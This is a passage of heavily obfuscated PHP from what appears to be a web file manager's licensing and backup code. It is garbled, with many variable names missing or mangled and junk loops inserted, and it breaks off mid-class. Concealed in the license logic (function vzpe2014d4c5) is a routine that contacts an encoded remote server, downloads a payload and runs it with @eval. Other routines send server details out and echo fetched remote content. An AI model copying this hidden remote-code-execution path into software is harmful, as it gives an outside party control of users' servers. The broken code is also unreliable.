$[$Ŵе[133]] && strstr($[$Ŵе[133]], $Ŵе[134])) { $ = explode($Ŵе[134], $[$Ŵе[133]]); $[$Ŵе[135]] = $[0]; } } $ = $this->butf4e080185(json_encode($), md5($Ŵе[136])); $ = array($Ŵе[137] => $); $䂁 = $[719]; call_user_func(array($Ŵе[138], $Ŵе[139]), $); } if ($this->fmaldf286b22 == $Ŵе[109]) { return; } $觍 = array($Ŵе[140], $Ŵе[141], $Ŵе[142], $Ŵе[143], $Ŵе[144], $Ŵе[145]); $қ = $[720]; if (strlen($қ) < $[687]) { die; } $ = Model($Ŵе[33])->get(); $̝ = $[721]; if (!$̝) { return; } $ = array($Ŵе[146] => $[$Ŵе[34]], $Ŵе[147] => $[$Ŵе[35]], $Ŵе[148] => $Ŵе[6]); $ = $[722]; foreach ($觍 as $ڍ) { if (!isset($[$ڍ]) || !$[$ڍ]) { continue; } $[$ڍ] = $[$ڍ]; $ޱ = $[723]; if (strlen($ޱ) < $[699]) { return; } } call_user_func(array($Ŵе[138], $Ŵе[139]), $); $ = $[724]; if (strlen($) < $[687]) { return; } } private function siwp7665cc9c() { $ =& $_SERVER[]; $ީ =& $_SERVER[Ü]; if ($_SERVER[$ީ[24]] != $ީ[149]) { return; } if (!KodUser::isRoot()) { die; } $ۗˎ = $GLOBALS[$ީ[13]]; if (isset($ۗˎ[$ީ[150]])) { $this->aveg04054a67(); die; } if (isset($ۗˎ[$ީ[151]]) && isset($ۗˎ[$ީ[151]]) == $ީ[122]) { $ۗˎ[$ީ[152]] = Model($ީ[33])->get($ީ[153]); } if (!isset($ۗˎ[$ީ[152]]) || strlen($ۗˎ[$ީ[152]]) != 16) { show_json($ީ[154] . $ۗˎ[$ީ[152]], !1); } $㚾 = Model($ީ[33])->get($ީ[100]); $ = md5($_SERVER[$ީ[106]] . $㚾); $ = array($ީ[152] => $ۗˎ[$ީ[152]], $ީ[155] => rand_string(16), $ީ[156] => $ީ[136], $ީ[157] => $ީ[158], $ީ[159] => $_SERVER[$ީ[160]], $ީ[161] => $_SERVER[$ީ[162]], $ީ[163] => $_SERVER[$ީ[164]], $ީ[105] => $, $ީ[165] => Model($ީ[33])->get($ީ[131])); if (isset($ۗˎ[$ީ[151]]) && isset($ۗˎ[$ީ[151]]) == $ީ[122]) { $[$ީ[151]] = md5($[$ީ[152]] . $ީ[166] . $[$ީ[155]]); } if ($ۗˎ[$ީ[167]] == $ީ[168]) { $ = $this->butf4e080185($, $ީ[169]); $ = $this->jdncf0daa323(json_encode($), $ . $ީ[170], 3); $ = $ . $ީ[171] . $_SERVER[$ީ[160]]; $Ψ = $this->bjuec3f47b28($ީ[172] . $ . $ީ[173] . $, -1); show_json($Ψ, !0); } else { if ($ۗˎ[$ީ[167]] == $ީ[174]) { $ = substr(md5($ީ[175] . $), 12, 15) . $ީ[176]; $ = $this->riht7b89a64e(trim($ۗˎ[$ީ[177]]), $, 2); $ڔ = json_decode($, !0); if (!is_array($ڔ) || !is_array($ڔ[$ީ[178]]) || $ڔ[$ީ[152]] != !0) { $ = $ީ[179]; $ͫ = $ڔ[$ީ[178]] ? $ީ[180] . $ڔ[$ީ[178]] : $; show_json($ͫ, !1); } else { $[$ީ[155]] = $ڔ[$ީ[178]][$ީ[181]]; } } else { $ڔ = $this->bjuec3f47b28($ީ[182], $, 10); } } if (!is_array($ڔ) || !is_array($ڔ[$ީ[178]]) || $ڔ[$ީ[152]] != !0) { $ = LNG($ީ[183]); $ͫ = $ڔ[$ީ[178]] ? $ީ[180] . $ڔ[$ީ[178]] : $; show_json($ͫ, !1); } $ = $ڔ[$ީ[178]]; $Ϫ = $this->wzcp5224ff0a($[$ީ[184]]); $ܖ = $[725]; if (!$ܖ) { die; } if (!$Ϫ || $Ϫ != $[$ީ[129]]) { $ʹ = array($ީ[185] => Model($ީ[33])->get($ީ[100]), $ީ[186] => $_SERVER[$ީ[106]], $ީ[187] => this_url(), $ީ[161] => $_SERVER[$ީ[162]]); $ = $this->wkij18ea694e(json_encode($ʹ)); $this->bjuec3f47b28($ީ[188] . $); show_json(LNG($ީ[189]), !0); } $ɀӂ = array($ީ[153] => $[$ީ[190]], $ީ[191] => $[$ީ[192]], $ީ[193] => rand_string(16), $ީ[108] => $[$ީ[194]]); if ($[$ީ[155]]) { $ɀӂ[$ީ[193]] = $[$ީ[155]]; } $̼ = substr(md5($ɀӂ[$ީ[191]]), 10, 10); $ı = $̼ . $ɀӂ[$ީ[108]] . $ɀӂ[$ީ[193]]; $ = $[726]; while ($ < $[687]) { if ($ >= 0) { break; } $++; } $ɀӂ[$ީ[110]] = strrev(base64_encode($this->butf4e080185($ı, $ީ[195]))); $˗ = rand_string(16); $Ն = $[727]; $冱 = $˗ . $ɀӂ[$ީ[108]] . $this->butf4e080185(md5($ɀӂ[$ީ[153]]), $˗); $ɀӂ[$ީ[111]] = base64_encode(strrev($this->butf4e080185($冱, $ީ[196]))); $ۤ = $[728]; while ($ۤ < $[689]) { if ($ۤ >= 0) { break; } $ۤ++; } if ($[$ީ[197]] && $[$ީ[197]] >= 1) { Model($ީ[33])->setDeep($ީ[198], $ީ[122]); } Model($ީ[33])->set($ɀӂ); $쎪 = md5($_SERVER[$ީ[106]] . strrev($㚾) . $ɀӂ[$ީ[191]]); $Љ = strrev(substr($쎪, 10, 16)); $ = $this->jdncf0daa323(json_encode($), $쎪); $ = array_to_keyvalue(Model($ީ[7])->listData(), $ީ[199]); $ = $[$ީ[200]]; $կ = array(); $̂ = $[729]; if (strlen($̂) < $[687]) { die; } $կ[$Љ] = $; $µ = $[730]; Model($ީ[7])->update($[$ީ[201]], array($ީ[202] => $կ)); $ = $[731]; while ($ < $[687]) { if ($ >= 0) { break; } $++; } $this->goqzee6de40a = $; $ = $[732]; while (strlen($) < $[683]) { if (!$) { break; } $++; } $this->fmaldf286b22 = $ɀӂ[$ީ[108]]; $̩ = $[733]; while (strlen($̩) < $[683]) { if (!$̩) { break; } $̩++; } $this->licenseRegistSuccess(); Cache::set($ީ[203] . md5($㚾 . $ީ[204]), $ީ[6]); $ۉ = $[734]; show_json(LNG($ީ[189]), !0); $몒 = $[735]; while (strlen($몒) < $[699]) { if (!$몒) { break; } $몒++; } } private function licenseRegistSuccess() { $ =& $_SERVER[Ü]; $ޟ = Model($[33])->get(); if ($ޟ[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function aveg04054a67() { $ =& $_SERVER[Ü]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[109], $[110] => $[6], $[111] => $[6])); $ = $_SERVER[][736]; if (!$) { die; } Model($[33])->setDeep($[198], $[206]); $this->goqzee6de40a = array(); $this->fmaldf286b22 = $[109]; } private function agsme40eaea0() { $ɣ٣ =& $_SERVER[]; $Є =& $_SERVER[Ü]; $_SERVER[$Є[162]] = _get($_SERVER, $Є[162], APP_HOST); $this->fmaldf286b22 = $Є[109]; $ = $ɣ٣[737]; $Ʌ = Model($Є[33])->get(); if ($Ʌ[$Є[108]] == $Є[109]) { return; } $ = Model($Є[33])->get($Є[100]); $̟ = $Є[203] . md5($ . $Є[204]); $ = $ɣ٣[738]; if (!$) { die; } $ = Cache::get($̟); if (!is_array($) || !isset($[$Є[207]]) || time() - $[$Є[207]] >= 60) { $ϸ = Model($Є[7])->loadList(); $ɴ = $ϸ[$Є[200]]; $ = md5($_SERVER[$Є[106]] . strrev($) . $Ʌ[$Є[191]]); $霳 = strrev(substr($, 10, 16)); $ = $this->riht7b89a64e($ɴ[$Є[86]][$霳], $); $ = json_decode($, !0); } if (!is_array($)) { return $this->aveg04054a67(); } $ҧ = strtotime($[$Є[129]]); if (time() >= $ҧ) { return $this->aveg04054a67(); } if (!isset($[$Є[207]]) || time() - $[$Є[207]] > 20) { $[$Є[207]] = time(); Cache::set($̟, $); } $this->goqzee6de40a = $; $this->fmaldf286b22 = $Ʌ[$Є[108]]; $ = $ɣ٣[739]; } private function ibrmddab986e() { $ =& $_SERVER[Ü]; $ = $GLOBALS[$[13]]; $Ʊ = $_SERVER[$[24]]; if ($Ʊ == $[208] && $this->fmaldf286b22 == $[109]) { show_json(LNG($[209]), !1, $[210]); } $Ð = array($[211], $[212]); if (in_array($Ʊ, $Ð)) { if ($this->fmaldf286b22 == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $this->oqdma4d4d1df(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $[210]); die; } } } } private function tvjx70fd0a85() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $Կ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $Կ)) { return; } $ = $[217]; $ = $this->mows81ee32e9($, $[218]); $ = $[740]; if (!$) { die; } $͖ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = @file_get_contents($, !1, $͖); header($[223]); $ٰ = $[741]; if (strlen($ٰ) < $[692]) { return; } if ($ && strstr($, $[224])) { echo $; } die; } public function kxuj2681f9f0($) { $扨 =& $_SERVER[]; $ =& $_SERVER[Ü]; if ($this->fmaldf286b22 == $[225]) { return $; } $ = $this->versionPluginList(); $ = $扨[742]; if (!$) { die; } $ə = explode($[226], $this->versionPluginFilter()); $ = array(); $ = $扨[743]; while (strlen($) < $扨[699]) { if (!$) { break; } $++; } foreach ($ as $ҫ => $) { if ($ == $[227] && substr($this->fmaldf286b22, 0, 1) == $[227]) { continue; } if (!in_array($ҫ, $ə)) { $[] = $ҫ; } } foreach ($ as $ҫ) { unset($[$ҫ]); $ϖ = $扨[744]; while ($ϖ < $扨[689]) { if ($ϖ >= 0) { break; } $ϖ++; } } return $; $ = $扨[745]; if (!$) { die; } } private function versionPluginList() { $ہ =& $_SERVER[]; $ =& $_SERVER[Ü]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); $𫔛 = $ہ[746]; if (strlen($𫔛) < $ہ[689]) { return; } } private function versionPluginFilter() { $ߔ =& $_SERVER[Ü]; if ($this->fmaldf286b22 == $ߔ[109]) { return $ߔ[6]; } $쾋 = _get($this->goqzee6de40a, $ߔ[245], $ߔ[6]); $ң = _get($this->goqzee6de40a, $ߔ[116], $ߔ[6]); $ӫ = _get($this->goqzee6de40a, $ߔ[246], $ߔ[6]); if ($ң > time() && $ӫ > time()) { $ = explode($ߔ[226], $쾋); $ׇ = array_keys($this->versionPluginList()); $쾋 = array_merge($, $ׇ); $쾋 = implode($ߔ[226], array_filter(array_unique($쾋))); } return $쾋; } private function fdgq492341b8() { $߰ٺ =& $_SERVER[Ü]; if ($this->fmaldf286b22 != $߰ٺ[109]) { $GLOBALS[$߰ٺ[86]][$߰ٺ[90]][$߰ٺ[247]] = $߰ٺ[206]; return; } $GLOBALS[$߰ٺ[86]][$߰ٺ[248]] = $߰ٺ[122]; if (Model($߰ٺ[249])->get($߰ٺ[63]) != $߰ٺ[206]) { Model($߰ٺ[249])->set($߰ٺ[63], $߰ٺ[206]); } } public function mnba94ab81d2() { return $_SERVER[Ü][250]; $ɣ = $_SERVER[][690]; if (!$ɣ) { die; } } private function vzpe2014d4c5() { $̙ =& $_SERVER[]; $ =& $_SERVER[Ü]; $ا۰ = array($[251], $[252], $[253]); $ͼݕ = $[254] . md5($[255]); $ʀ = $̙[747]; if (strlen($ʀ) < $̙[699]) { return; } if ($this->fmaldf286b22 == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $ا۰)) { return; } if (time() % 4 != 0) { return; } $ǐ畧 = call_user_func(array($[256], $[257]), $ͼݕ); if ($ǐ畧 && time() - $ǐ畧 < intval($[258])) { return; } call_user_func(array($[256], $[139]), $ͼݕ, time()); $Ⱥ = $̙[748]; $֛ = Model($[33])->get($[100]); $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->fmaldf286b22, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $֛), $[156] => $[136], $[159] => $_SERVER[$[160]]); $lj = $this->bjuec3f47b28($[259], $); $٪ = $̙[749]; if (strlen($٪) < $̙[683]) { return; } if (!is_array($lj)) { return; } if ($lj[$[152]] && $lj[$[260]]) { if ($this->wzcp5224ff0a($lj[$[260]]) == $[$[152]]) { return; } } $this->aveg04054a67(); $ʀ = $̙[750]; if (!$ʀ) { return; } if ($this->wzcp5224ff0a($lj[$[260]]) != $[$[152]]) { $ = array($[185] => $֛, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ϝ = $this->wkij18ea694e(json_encode($)); $lj = $this->bjuec3f47b28($[188] . $ϝ); if ($lj && is_array($lj) && isset($lj[$[260]])) { $ = $this->riht7b89a64e($lj[$[260]], 2); if ($) { $ = $this->wzcp5224ff0a($); } if ($) { try { @eval($); } catch (Exception $ˆ) { } } } } } private function bjuec3f47b28($˄ = '', $Фذ = array(), $ = 5) { $ۋ =& $_SERVER[]; $һ旴 =& $_SERVER[Ü]; $Ҁй = $һ旴[261]; $ȳ = $ۋ[751]; $Ҁй = $this->mows81ee32e9($Ҁй, $һ旴[262]); $ = $ۋ[752]; while ($ < $ۋ[699]) { if ($ >= 0) { break; } $++; } $Ҁй = $Ҁй . $˄; $Ŝ = $ۋ[753]; if ($Фذ && is_array($Фذ)) { $Ҁй = $Ҁй . $һ旴[263] . http_build_query($Фذ); } if ($Фذ === -1) { return $Ҁй; } $ԩԨ = stream_context_create(array($һ旴[219] => array($һ旴[222] => $, $һ旴[220] => $һ旴[264]), $һ旴[265] => array($һ旴[266] => !1, $һ旴[267] => !1))); $Фذ = @file_get_contents($Ҁй, !1, $ԩԨ); $Ǖ = $ۋ[754]; if (!$Ǖ) { die; } return json_decode($Фذ, !0); $ = $ۋ[722]; while ($ < $ۋ[683]) { if ($ >= 0) { break; } $++; } } private function oqdma4d4d1df() { $ƍ =& $_SERVER[]; $ҥ =& $_SERVER[Ü]; $ಳ = array($ҥ[268] => $ҥ[269], $ҥ[270] => $ҥ[271], $ҥ[272] => $ҥ[273], $ҥ[274] => $ҥ[275], $ҥ[276] => $ҥ[277], $ҥ[278] => $ҥ[214], $ҥ[279] => $ҥ[214], $ҥ[280] => $ҥ[269], $ҥ[281] => $ҥ[271], $ҥ[282] => $ҥ[273], $ҥ[283] => $ҥ[284], $ҥ[285] => $ҥ[275], $ҥ[286] => $ҥ[287], $ҥ[288] => $ҥ[277], $ҥ[289] => $ҥ[290], $ҥ[291] => $ҥ[292], $ҥ[293] => $ҥ[294]); $ڏ = $ಳ[$this->fmaldf286b22]; $ڏ = intval($ڏ ? $ڏ : $ҥ[269]); $ = $ƍ[755]; if (!$) { return; } $ı = _get($this->goqzee6de40a, $ҥ[295]); $ū = $ƍ[756]; if (strlen($ū) < $ƍ[692]) { die; } $ı = $ı ? intval($ı) : 0; $ = $ƍ[757]; if (!$) { die; } return $ڏ + $ı; } public function rtqf88c78492($) { $ =& $_SERVER[]; $Nj =& $_SERVER[Ü]; $ͩ = $this->oqdma4d4d1df(); $Ւ = $[758]; if ($[$Nj[296]] == $Nj[122]) { return; } if ($ͩ >= intval($Nj[214])) { return; } $ց = Model($Nj[125])->count(); if ($ց <= $ͩ) { return; } $ҭ = Model($Nj[125])->field($Nj[296])->limit($ͩ)->select(); $ = $[759]; if (!$) { return; } $ҭ = array_to_keyvalue($ҭ, $Nj[6], $Nj[296]); if (!in_array($[$Nj[296]], $ҭ)) { show_json($Nj[297], !1, $Nj[210]); } } public function xelqe8f30b06() { $濍 =& $_SERVER[Ü]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ˢτ = $濍[217]; $ = $_SERVER[][760]; if (!$) { die; } $ˢτ = $this->mows81ee32e9($ˢτ, $濍[218]); $Փ = stream_context_create(array($濍[219] => array($濍[220] => $濍[221], $濍[222] => 3))); $ = @file_get_contents($ˢτ, !1, $Փ); echo $濍[298] . hash_encode($) . $濍[299]; } private function jdncf0daa323($ف, $, $Ϩ = 3) { $ =& $_SERVER[]; $ゅ =& $_SERVER[Ü]; usleep(1); $ = $[761]; if (!$) { return; } $ف = trim($ف); $ = mt_rand(0, 5) . $ゅ[6]; $ = $[762]; if (strlen($) < $[699]) { return; } $ = rand_string(15); $Ћ = $ゅ[300]; switch ($) { case $ゅ[206]: $ = $this->butf4e080185($ف, strrev($ . $)); $ = $[763]; if (!$) { die; } break; case $ゅ[122]: $ = $this->butf4e080185($ف, strrev($ . $)); break; $ߎ = $[764]; if (strlen($ߎ) < $[692]) { die; } case $ゅ[301]: $ = $this->butf4e080185($ف, base64_encode($ . $)); $˲ = $[765]; if (!$˲) { return; } break; case $ゅ[302]: $ = $this->butf4e080185($ف, md5($ . $)); $ = $[766]; break; case $ゅ[303]: $ف = base64_encode($ف); $ = rand(0, 64); $йń = $[767]; while ($йń < $[699]) { if ($йń >= 0) { break; } $йń++; } $ = $Ћ[$]; $Ոɤ = md5($ . md5($ . $) . $); $䄰 = $[768]; while ($䄰 < $[683]) { if ($䄰 >= 0) { break; } $䄰++; } $Ոɤ = substr($Ոɤ, $ % 8, $ % 8 + 7); $Լ = $ゅ[6]; $˭ = $[769]; if (strlen($˭) < $[687]) { die; } $ = 0; $ګ = $[770]; if (strlen($ګ) < $[683]) { return; } $گ = 0; $ = 0; for ($ = 0; $ < strlen($ف); $++) { $ = $ == strlen($Ոɤ) ? 0 : $; $گ = ($ + strpos($Ћ, $ف[$]) + ord($Ոɤ[$++])) % 64; $ = $[771]; if (strlen($) < $[683]) { return; } $Լ .= $Ћ[$گ]; } $ = hash_encode($ . $Լ); break; $ = $[772]; if (strlen($) < $[687]) { die; } default: $ = $this->butf4e080185($ف, $ . $); $ = $[773]; break; $ = $[774]; } $ = strrev($ . $ . $); if ($Ϩ - 1 > 0) { $ = $this->jdncf0daa323($, $, $Ϩ - 1); } return $; } private function riht7b89a64e($ܗ, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; if (!is_string($ܗ) || strlen($ܗ) < 10) { return !1; } $ܗ = trim($ܗ); $ = $[775]; $ܗ = strrev($ܗ); $Ρ = $[776]; if (!$Ρ) { return; } $Á = $ܗ[0]; $ЮԔ = substr($ܗ, 1, 15); $ = $[777]; if (!$) { return; } $ܗ = substr($ܗ, 16); $ߦⱭ = $[300]; $ = $[778]; if (strlen($) < $[699]) { die; } switch ($Á) { case $[206]: $ = $this->mows81ee32e9($ܗ, strrev($ . $ЮԔ)); $ = $[779]; break; $ = $[780]; if (!$) { return; } case $[122]: $ = $this->mows81ee32e9($ܗ, strrev($ЮԔ . $)); break; case $[301]: $ = $this->mows81ee32e9($ܗ, base64_encode($ЮԔ . $)); break; case $[302]: $ = $this->mows81ee32e9($ܗ, md5($ЮԔ . $)); $ = $[781]; if (strlen($) < $[683]) { die; } break; case $[303]: $ܗ = hash_decode($ܗ); $ = $ܗ[0]; $ܗ = substr($ܗ, 1); $ = $[782]; if (!$) { die; } $ = strpos($ߦⱭ, $); $ = md5($ . md5($ . $) . $); $ = $[783]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } $ = substr($, $ % 8, $ % 8 + 7); $ջ = $[784]; while ($ջ < $[689]) { if ($ջ >= 0) { break; } $ջ++; } $ = $[6]; $ = 0; $ = $[785]; $Ӟ = 0; $Ŷ = 0; $ = $[786]; if (!$) { return; } for ($ = 0; $ < strlen($ܗ); $++) { $Ŷ = $Ŷ == strlen($) ? 0 : $Ŷ; $Љ = $[787]; while ($Љ < $[687]) { if ($Љ >= 0) { break; } $Љ++; } $ = $Ŷ++; $ = $[788]; while (strlen($) < $[687]) { if (!$) { break; } $++; } $Ӟ = strpos($ߦⱭ, $ܗ[$]) - $ - ord($[$]); $ = $[789]; while (strlen($) < $[689]) { if (!$) { break; } $++; } while ($Ӟ < 0) { $Ӟ += 64; $꼚 = $[790]; while (strlen($꼚) < $[699]) { if (!$꼚) { break; } $꼚++; } } $ .= $ߦⱭ[$Ӟ]; } $ = base64_decode($); break; default: $ = $this->mows81ee32e9($ܗ, $ . $ЮԔ); break; $ү = $[791]; } if ($ - 1 > 0) { $ = $this->riht7b89a64e($, $, $ - 1); } return $; } public function wkij18ea694e($н) { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $˰ = $this->ocbk84372016(); $ԯ = $[792]; while ($ԯ < $[687]) { if ($ԯ >= 0) { break; } $ԯ++; } $ٝ¨ = $this->ocbk84372016(); $ӿݰ = ($˰ - 1) * ($ٝ¨ - 1); $ = $[793]; $ = intval(($˰ + $ٝ¨) / 2); while (1) { $Դ = $; $Ǣ = $ӿݰ; while ($Ǣ % $Դ != 0) { $ƍ = $Ǣ; $į = $[794]; while ($į < $[687]) { if ($į >= 0) { break; } $į++; } $Ǣ = $Դ; $Դ = $ƍ % $Դ; } if ($Դ == 1) { break; } else { $++; } } $ = 2; $ = $[795]; while (strlen($) < $[699]) { if (!$) { break; } $++; } for ($읭 = 0; $읭 < $ӿݰ * 10; $읭++) { if (($ӿݰ * $읭 + 1) % $ == 0) { $ = intval(($ӿݰ * $읭 + 1) / $); break; } } $٫ = $this->butf4e080185($˰ * $ٝ¨ . $[6], $[136]); $א = md5($[304] . ($˰ + $ٝ¨) . $[305] . $ . $[305] . $ . $[306]); $ = $[796]; if (strlen($) < $[683]) { return; } $ = $this->butf4e080185($н, $א) . $[307] . $٫; $ = $[797]; if (strlen($) < $[683]) { return; } return $; } public function wzcp5224ff0a($) { $݃ =& $_SERVER[]; $ش =& $_SERVER[Ü]; $چ = explode($ش[307], $); $ = $݃[798]; while ($ < $݃[699]) { if ($ >= 0) { break; } $++; } if (count($چ) != 2) { return $ش[6]; } $ = $this->mows81ee32e9($چ[1] . $ش[6], $ش[136]); if (!$) { return $ش[6]; } $ = intval($); $϶ = $݃[799]; if (strlen($϶) < $݃[683]) { return; } $ٌ = 0; $Н = 0; for ($ߢ = 3; $ߢ < $; $ߢ += 2) { if ($ % $ߢ != 0) { continue; } $ٌ = $ߢ; $Н = intval($ / $ߢ); break; $ = $݃[800]; if (strlen($) < $݃[683]) { return; } } $ = ($ٌ - 1) * ($Н - 1); $ƻ = intval(($ٌ + $Н) / 2); while (1) { $Σ = $ƻ; $ñ = $; $Ґ = $݃[801]; while (strlen($Ґ) < $݃[699]) { if (!$Ґ) { break; } $Ґ++; } while ($ñ % $Σ != 0) { $ = $ñ; $ñ = $Σ; $ﲡ = $݃[802]; if (strlen($ﲡ) < $݃[687]) { return; } $Σ = $ % $Σ; $ܟҎ = $݃[803]; if (strlen($ܟҎ) < $݃[683]) { die; } } if ($Σ == 1) { break; } else { $ƻ++; } } $ = 2; $ੳ = $݃[804]; for ($ߢ = 0; $ߢ < $ * 10; $ߢ++) { if (($ * $ߢ + 1) % $ƻ == 0) { $ = intval(($ * $ߢ + 1) / $ƻ); break; } } $ = md5($ش[304] . ($ٌ + $Н) . $ش[305] . $ƻ . $ش[305] . $ . $ش[306]); $ = $݃[805]; if (strlen($) < $݃[699]) { return; } $ܙɮ = $this->mows81ee32e9($چ[0], $); $ij = $݃[806]; return $ܙɮ; } public function ocbk84372016() { $˕ =& $_SERVER[]; $Й = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $˕[807]; if (strlen($) < $˕[687]) { return; } $ܴ = array(); $ = $˕[808]; if (!$) { return; } $ = 1; $ҁ = $˕[809]; if (strlen($ҁ) < $˕[692]) { die; } while ($ <= (int) sqrt($Й)) { $ٕյ = $; $ك = $˕[810]; while (!0) { $ٕյ++; if ($ٕյ <= 2) { $ = $ٕյ; break; } else { if ($ٕյ < 2) { continue; } } $ = !0; for ($ڝ = 2; $ڝ <= sqrt($ٕյ); $ڝ++) { if ($ٕյ % $ڝ == 0) { $ = !1; } } if ($) { $ = $ٕյ; break; } } $ܴ[] = $; $簹 = $˕[811]; } $ = 2; $ϖ = $˕[812]; while ($ϖ < $˕[692]) { if ($ϖ >= 0) { break; } $ϖ++; } for ($ٕյ = $Й; $ٕյ > 1; $ٕյ--) { $ = !0; foreach ($ܴ as $֘) { if ($ٕյ % $֘ == 0) { $ = !1; break; } } if ($) { $ = $ٕյ; break; } } return $; } public function uxkv77fc9f13($, $) { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; return call_user_func(array($[8], $[308]), $, $); $ = $[813]; if (strlen($) < $[699]) { die; } } public function butf4e080185($㼵, $) { $ =& $_SERVER[Ü]; return call_user_func(array($[309], $[310]), $㼵, $); } public function mows81ee32e9($똔, $) { $Ҫ =& $_SERVER[Ü]; return call_user_func(array($Ҫ[309], $Ҫ[311]), $똔, $); $憌 = $_SERVER[][814]; } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[][815]); $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[]; $this->isManual(); self::$name = date($[816]); if (!($תÒ = $this->model->lastItem())) { $תÒ = $this->initData(); } else { self::$name = $תÒ[$[32]]; if ($תÒ[$[817]] == $[91]) { self::$name = date($[272]); $ = intval(_get($תÒ, $[818], 0)); if (self::$manual == 0 && $תÒ[$[32]] == self::$name) { $this->model->remove($תÒ[$[475]]); } $תÒ = $this->initData($, $תÒ[$[819]]); } else { $this->checkStore($תÒ[$[819]]); } } self::$option = $תÒ; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][820], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ = 0, $˕ = '') { $Ι =& $_SERVER[]; $՜ = $this->model->config(); if ($˕ && $՜[$Ι[819]] != $˕) { $ = 0; } $this->checkStore($՜[$Ι[819]]); if (self::$manual == 1) { self::$name .= $Ι[11] . date($Ι[821]); } $ = array($Ι[819] => $՜[$Ι[819]], $Ι[32] => self::$name, $Ι[817] => 0, $Ι[171] => $՜[$Ι[171]], $Ι[822] => self::$manual, $Ι[369] => array($Ι[823] => array($Ι[817] => 0), $Ι[824] => array($Ι[817] => 0, $Ι[825] => 0, $Ι[826] => 0, $Ι[33] => $Ι[12], $Ι[827] => 0, $Ι[828] => 0), $Ι[829] => array($Ι[817] => 0, $Ι[825] => 0, $Ι[826] => 0, $Ι[827] => 0, $Ι[828] => 0), $Ι[230] => array($Ι[817] => 0, $Ι[830] => 0, $Ι[831] => 0, $Ι[832] => 0, $Ι[833] => 0, $Ι[541] => $, $Ι[827] => 0, $Ι[828] => 0)), $Ι[827] => time(), $Ι[828] => 0); $ւި = $this->model->insert($); $[$Ι[475]] = $ւި; return $; } private function checkStore($͵) { $ = Model($_SERVER[][834]); $ = $->listData($͵); $->checkConfig($); } public static function get() { if (!self::$option) { $鴦 = Model($_SERVER[][815]); $ = $鴦->findByName(self::$name); $鴦->parseContent($); self::$option = $; } return self::$option; } public static function set($) { $ =& $_SERVER[]; $ܚ = self::get(); foreach ($ as $ҷ => $) { array_set_value($ܚ, $ҷ, $); } Model($[815])->update($ܚ[$[475]], $ܚ); self::$option = $ܚ; return self::$option; } public function keep() { $ =& $_SERVER[]; $ڮ = self::get(); if (_get($ڮ, $[835], 0) == $[91]) { return; } $this->backupKeep($ڮ); self::set(array($[835] => 1)); } private function backupKeep($浨ɝ) { $Ն =& $_SERVER[]; if (self::$manual == 1) { return; } $⺠ = $this->model->listData(); if (empty($⺠)) { return; } $Õ։ = 0; $ħ = array(); foreach ($⺠ as $Ԋ) { if ($Õ։ >= 7) { break; } $ħ[] = $Ԋ[$Ն[32]]; $Õ։++; } for ($Õ։ = 0; $Õ։ < 12; $Õ։++) { $ħ[] = date($Ն[836], strtotime("\55{$Õ։}\x20\x6d\157\x6e\164\x68\163")); } $ħ = array_unique($ħ); $ƨ = Model($Ն[837])->get($Ն[838]); foreach ($⺠ as $Ԋ) { if (isset($Ԋ[$Ն[822]]) && $Ԋ[$Ն[822]] == $Ն[91]) { continue; } if (!empty($Ԋ[$Ն[32]]) && in_array($Ԋ[$Ն[32]], $ħ)) { continue; } $this->model->remove($Ԋ[$Ն[475]]); $ = $this->backupPath($浨ɝ, $ƨ); IO::remove($, !1); } } private function backupPath($̗, $۫ƥ = false) { $ =& $_SERVER[]; if (!$۫ƥ) { $۫ƥ = Model($[837])->get($[838]); } $ = $̗[$[32]]; $ = substr(md5($[839] . $۫ƥ . $), 0, 8); return "\173\151\x6f\72{$̗[$[819]]}\175\x2f\144\141\x74\x61\x62\x61\x73\x65\x2f\142\x61\x63\153\165\160\57" . $ . $[11] . $; } public function db() { $䊉 =& $_SERVER[]; $Ϝԩ = self::get(); if (_get($Ϝԩ, $䊉[840], 0) == $䊉[91]) { return !0; } $Ң = new BackupDb(); if (!$Ң->index()) { return !1; } self::set(array($䊉[840] => 1)); return !0; } public function dbFile() { $Ҕ =& $_SERVER[]; $㧔 = self::get(); if (_get($㧔, $Ҕ[841], 0) == $Ҕ[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($Ҕ[841] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[842], 0) == $[91]) { return !0; } if ($[$[171]] == $[843]) { $ɝ = new BackupFile(); if (!$ɝ->index()) { return !1; } } self::set(array($[842] => 1, $[817] => 1)); return !0; } } goto eй; dߊ: class DbMysqli extends Db { public function __construct($ = '') { $˱ =& $_SERVER[]; if (!extension_loaded($˱[983])) { think_exception(think_lang($˱[14]) . $˱[984]); } if (!empty($)) { $this->config = $; if (empty($this->config[$˱[17]])) { $this->config[$˱[17]] = $˱[12]; } } } public function connect($ = '', $، = 0) { $ =& 